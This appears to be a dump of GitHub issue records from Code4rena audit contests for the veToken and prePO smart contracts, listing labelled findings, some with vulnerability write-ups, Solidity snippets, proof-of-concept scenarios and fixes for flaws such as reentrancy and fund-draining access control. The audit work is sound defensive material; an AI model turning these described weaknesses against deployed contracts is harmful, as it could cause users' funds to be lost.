{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/121", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Not updating `totalWeight` when operator is removed in `VeTokenMinter`", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/120", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-vetoken-findings", "body": "Not updating `totalWeight` when operator is removed in `VeTokenMinter`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/119", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "BaseRewardPool: The getAPY function uses the wrong constant.", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-05-vetoken-findings", "body": "BaseRewardPool: The getAPY function uses the wrong constant."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/114", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/113", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/109", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Admin Privilege in minting to arbitrary address allows operator to dilute tokens", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/108", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-vetoken-findings", "body": "Admin Privilege in minting to arbitrary address allows operator to dilute tokens"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/104", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Owner should be allowed to change feeManager", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/99", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/Booster.sol#L129 # Vulnerability details ## Impact Once Fee Manager has been set initially by owner, then owner has no power to change it. Owner should be allowed to change fees manager in case if he feels current fee manager is behaving maliciously ## Proof of Concept 1. Observe the setFeeManager function and see that only feeManager is allowed to change it once set initially ``` function setFeeManager(address _feeM) external { require(msg.sender == feeManager, \"!auth\"); feeManager = _feeM; emit FeeManagerUpdated(_feeM); } ``` ## Recommended Mitigation Steps Change the setFeeManager function like below. Same can be done with other important functionality involving setArbitrator and setVoteDelegate ``` require(msg.sender == owner, \"!auth\"); ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "No check for existing extraRewards during push", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/89", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/VE3DRewardPool.sol#L138 ttps://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/VE3DLocker.sol#L156 # Vulnerability details ## Impact Similar to a reported I submitted for BaseRewardPool.sol (https://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/BaseRewardPool.sol#L126) When adding `extraRewards` to the extra reward pool in https://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/VE3DRewardPool.sol#L138 , there's no check for already existing address. Assume a particular address takes up 2 slots out of 3, and a user withdraws staked extra rewards, the user will receive double the amount requested in https://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/VE3DRewardPool.sol#L257-L258 ## Proof of Concept 1. Assume `rewardManager` had mistakenly added the same address twice in `addExtraReward()` 2. A user calls `stake()` , linked rewards is staked twice to the same address (unexpected behaviour I guess but not severe issue) 3. Now, user calls `withdraw()` to withdraw linked rewards (this is already 2x in step 2) 4. User will receive double the linked rewards due to the iteration in `https://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/VE3DRewardPool.sol#L257-L258` ## Tools Used Manual review ## Recommended Mitigation Steps Guess a check for an already existing extraRewards can be added before Line 138 ##Similar issue **https://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/VE3DLocker.sol#L156 - not so sure of the severity for this. **https://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/BaseRewardPool.sol#L126 - reported in a seperate report "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Centralisation RIsk: `VoterProxy` owner may set the `operate` to an address they own and drain all token balances", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/82", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-vetoken-findings", "body": "Centralisation RIsk: `VoterProxy` owner may set the `operate` to an address they own and drain all token balances"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "compromised `owner` can drain funds from`VeTokenMinter.sol`", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/69", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-vetoken-findings", "body": "compromised `owner` can drain funds from`VeTokenMinter.sol`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/65", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/64", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "VE3DRewardPool allows the same reward address to be added multiple times to the `extraRewards` array", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/55", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-vetoken-findings", "body": "VE3DRewardPool allows the same reward address to be added multiple times to the `extraRewards` array"}, {"title": "VE3DRewardPool.sol is incompatible with Bal/veBal", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/53", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-vetoken-findings", "body": "VE3DRewardPool.sol is incompatible with Bal/veBal"}, {"title": "Incorrect deployment parameters", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/52", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/migrations/25_deploy_angle_pools.js#L68 https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/migrations/25_deploy_angle_pools.js#L80 # Vulnerability details ## Impact The address of G-Uni tokens in the deployment scripts are not up to date. ## Proof of concept For example for agEUR/USDC it is 0xedecb43233549c51cc3268b5de840239787ad56c and not 0x2bD9F7974Bc0E4Cb19B8813F8Be6034F3E772add ## Mitigation steps For safety why not fetching directly the LP token from the staking contract ?\u2028 "}, {"title": "`VoterProxy` incorrectly assumes a 1-1 mapping between the gauge and the LP tokens.", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/51", "labels": ["bug", "question", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-vetoken-findings", "body": "`VoterProxy` incorrectly assumes a 1-1 mapping between the gauge and the LP tokens."}, {"title": "Contracts should be robust to upgrades of underlying gauges and eventually changes of the underlying tokens", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/VoterProxy.sol # Vulnerability details ## Impact For some veAsset project (for example Angle\u2019s [gauges](https://github.com/AngleProtocol/angle-core/blob/main/contracts/staking/LiquidityGaugeV4UpgradedToken.vy), gauge contracts are upgradable, so interfaces and underlying LP tokens are subject to change, blocking and freezing the system. Note that this is not hypothetic as it happened a few weeks ago: see this [snapshot vote]( https://snapshot.org/#/anglegovernance.eth/proposal/0x1adb0a958220b3dcb54d2cb426ca19110486a598a41a75b3b37c51bfbd299513). Therefore, the system should be robust to a change in the pair gauge / token. Note that is doable in the current setup for the veToken team to rescue the funds in such case, hence it is only a medium issue. You\u2019d have to do as follow: a painful shutdown of the `Booster` (which would lead to an horrible situation where you\u2019d have to preserve backwards compatibility for LPs to save their funds in the new Booster), an operator change in `VoterProxy` to be able to call `execute`. ## Mitigation steps To deal with upgradeable contracts, either the `VoterProxy` needs to be upgradable to deal with any situation that may arise, either you need to add upgradeable \u201cintermediate\u201d contracts between the `staker` and the gauge that could be changed to preserve the logic. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/40", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "ExtraRewardStashV2's stashRewards can become unavailable", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/36", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/ExtraRewardStashV2.sol#L193-L203 # Vulnerability details There is no check for the reward token amount to be transferred out in stashRewards(). As reward token list is external (controlled with `IGauge(gauge).reward_tokens`), and an arbitrary token can end up there, in the case when such token doesn't allow for zero amount transfers, the stashRewards() managed extra rewards retrieval can become unavailable. I.e. stashRewards() can be blocked for even an extended period of time, so all other extra rewards gathering will not be possible. This cannot be controlled by the system as pool reward token list is external. Setting the severity to medium as reward gathering is a base functionality of the system and its availability is affected. ## Proof of Concept stashRewards() attempts to send the `amount` to rewardArbitrator() without checking: https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/ExtraRewardStashV2.sol#L193-L203 ```solidity if (activeCount > 1) { //take difference of before/after(only send new tokens) uint256 amount = IERC20(token).balanceOf(address(this)); amount = amount.sub(before); //send to arbitrator address arb = IDeposit(operator).rewardArbitrator(); if (arb != address(0)) { IERC20(token).safeTransfer(arb, amount); } } ``` If `IStaker(staker).withdraw()` produced no new tokens for any reason, the `amount = amount.sub(before)` above can be zero: https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/ExtraRewardStashV2.sol#L188-L189 ```solidity uint256 before = IERC20(token).balanceOf(address(this)); IStaker(staker).withdraw(token); ``` As reward `token` can be arbitrary, it can also be reverting on an attempt to transfer zero amounts: https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers If this be the case then the whole stashRewards() call will be failing until `IStaker(staker).withdraw()` manage to withdraw some `tokens` or such `token` be removed from gauge's reward token list. Both events aren\u2019t directly controllable by the system. ## Recommended Mitigation Steps Consider running the transfer only when amount is positive: ```solidity - if (activeCount > 1) { + if (amount > 0 && activeCount > 1) { //take difference of before/after(only send new tokens) uint256 amount = IERC20(token).balanceOf(address(this)); amount = amount.sub(before); //send to arbitrator address arb = IDeposit(operator).rewardArbitrator(); if (arb != address(0)) { IERC20(token).safeTransfer(arb, amount); } } ``` "}, {"title": "Booster's shutdownPool can freeze user funds", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/35", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-vetoken-findings", "body": "Booster's shutdownPool can freeze user funds"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/33", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Highly Unsafe Pattern of Minting the Additional Reward Tokens at `VeAssetDepositor.sol`", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VeAssetDepositor.sol#L117-L120 # Vulnerability details ## Impact In [VeAssetDepositor.sol#L117-L120](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VeAssetDepositor.sol#L117-L120), the condition to mint the additional rewards tokens to the user is `if (incentiveVeAsset > 0)`. However, the `incentiveVeAsset` variable is only updated to zero after an external call to the `ITokenMinter` contract. This lacks the Checks Effects and Interactions safety pattern. In the event that the **wrong** minter contract has been initialised, an attacker could potentially drain all the additional reward tokens via a reentrancy attack. ## Proof of Concept - ## Recommended Mitigation Steps Be sure to follow the [Checks Effects and Interactions safety pattern](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html) and update the `incentiveVeAsset = 0` before minting the token for the user. Alternatively, the developers can also add the `nonReentrant()` [modifier](https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard) from OpenZeppelin to prevent any sort of potential reentrancy attacks. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "User can lose extra rewards", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/15", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-vetoken-findings", "body": "User can lose extra rewards"}, {"title": "User can lose funds", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/13", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-vetoken-findings", "body": "User can lose funds"}, {"title": "Duplicate LP token could lead to incorrect deposits", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/11", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/main/contracts/Booster.sol#L256 # Vulnerability details ## Impact It was observed that addPool function is not checking for duplicate lpToken which allows 2 or more pools to have exact same lpToken. This can cause issue with deposits. In case of duplicate lpToken, the first pool calling depositAll will take away all lpToken and deposit them under there own pid. This leaves no balance for 2nd pool ## Proof of Concept 1. PoolManager call addPool function and uses lpToken as A 2. PoolManager again call addPool function and mistakenly provides lpToken as A 3. Now 2 pools will be created with lpToken as A 4. depositAll function is called passing first pool. 5. This takes all balance of lpToken A and depsoit it under first pool pid 6. This mean no balance is left for second pool now ## Recommended Mitigation Steps Add a global variable keeping track of all lpToken added for pool. In case of duplicate lpToken addPool function should fail. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/8", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "malicious operator can rug pull", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/4", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-vetoken-findings", "body": "malicious operator can rug pull"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/2", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/1", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/121", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/120", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/119", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/114", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/113", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/112", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/105", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/94", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/87", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "[WP-M10] Wrong formula of `getSharesForAmount()` can potentially cause fund loss when being used to calculate the `shares` to be used in `withdraw()`", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/81", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-prepo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-prepo/blob/f63584133a0329781609e3f14c3004c1ca293e71/contracts/core/Collateral.sol#L306-L329 # Vulnerability details In `Collateral`, the getter functions `getAmountForShares()` and `getSharesForAmount()` is using `totalAssets()` instead of `_strategyController.totalValue()`, making the results can be different than the actual shares amount needed to `withdraw()` a certain amount of `_baseToken` and the amount of shares expected to get by `deposit()` a certain amount. Specifically, `totalAssets()` includes the extra amount of `_baseToken.balanceOf(Collateral)`. https://github.com/code-423n4/2022-03-prepo/blob/f63584133a0329781609e3f14c3004c1ca293e71/contracts/core/Collateral.sol#L306-L329 ```solidity function getAmountForShares(uint256 _shares) external view override returns (uint256) { if (totalSupply() == 0) { return _shares; } return (_shares * totalAssets()) / totalSupply(); } function getSharesForAmount(uint256 _amount) external view override returns (uint256) { uint256 _totalAssets = totalAssets(); return (_totalAssets > 0) ? ((_amount * totalSupply()) / _totalAssets) : 0; } ``` https://github.com/code-423n4/2022-03-prepo/blob/f63584133a0329781609e3f14c3004c1ca293e71/contracts/core/Collateral.sol#L339-L343 ```solidity function totalAssets() public view override returns (uint256) { return _baseToken.balanceOf(address(this)) + _strategyController.totalValue(); } ``` https://github.com/code-423n4/2022-03-prepo/blob/f63584133a0329781609e3f14c3004c1ca293e71/contracts/core/Collateral.sol#L137-L148 ```solidity function withdraw(uint256 _amount) external override nonReentrant returns (uint256) { require(_withdrawalsAllowed, \"Withdrawals not allowed\"); if (_delayedWithdrawalExpiry != 0) { _processDelayedWithdrawal(msg.sender, _amount); } uint256 _owed = (_strategyController.totalValue() * _amount) / totalSupply(); ... ``` ### PoC Given: - `_baseToken.balanceOf(Collateral)` == 90 - `_strategyController.totalValue()` == 110 - totalSupply of shares = 100 `totalAssets()` returns: 200 `getSharesForAmount(100)` returns: 50, while `withdraw(50)` will actual only get: 55. When `Collateral` is used by another contract that manages many users' funds, and if it's using `getSharesForAmount()` to calculate the amount of shares needed for a certain amount of underlying tokens to be withdrawn. This issue can potentially cause fund loss to the user of that contract because it will actually send a lesser amount of `_baseToken` than expected. ### Recommendation Consider changing `Collateral.totalValue()` to: ```solidity function totalAssets() public view override returns (uint256) { return _strategyController.totalValue(); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/73", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-prepo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-prepo-findings/issues/65", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-prepo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": 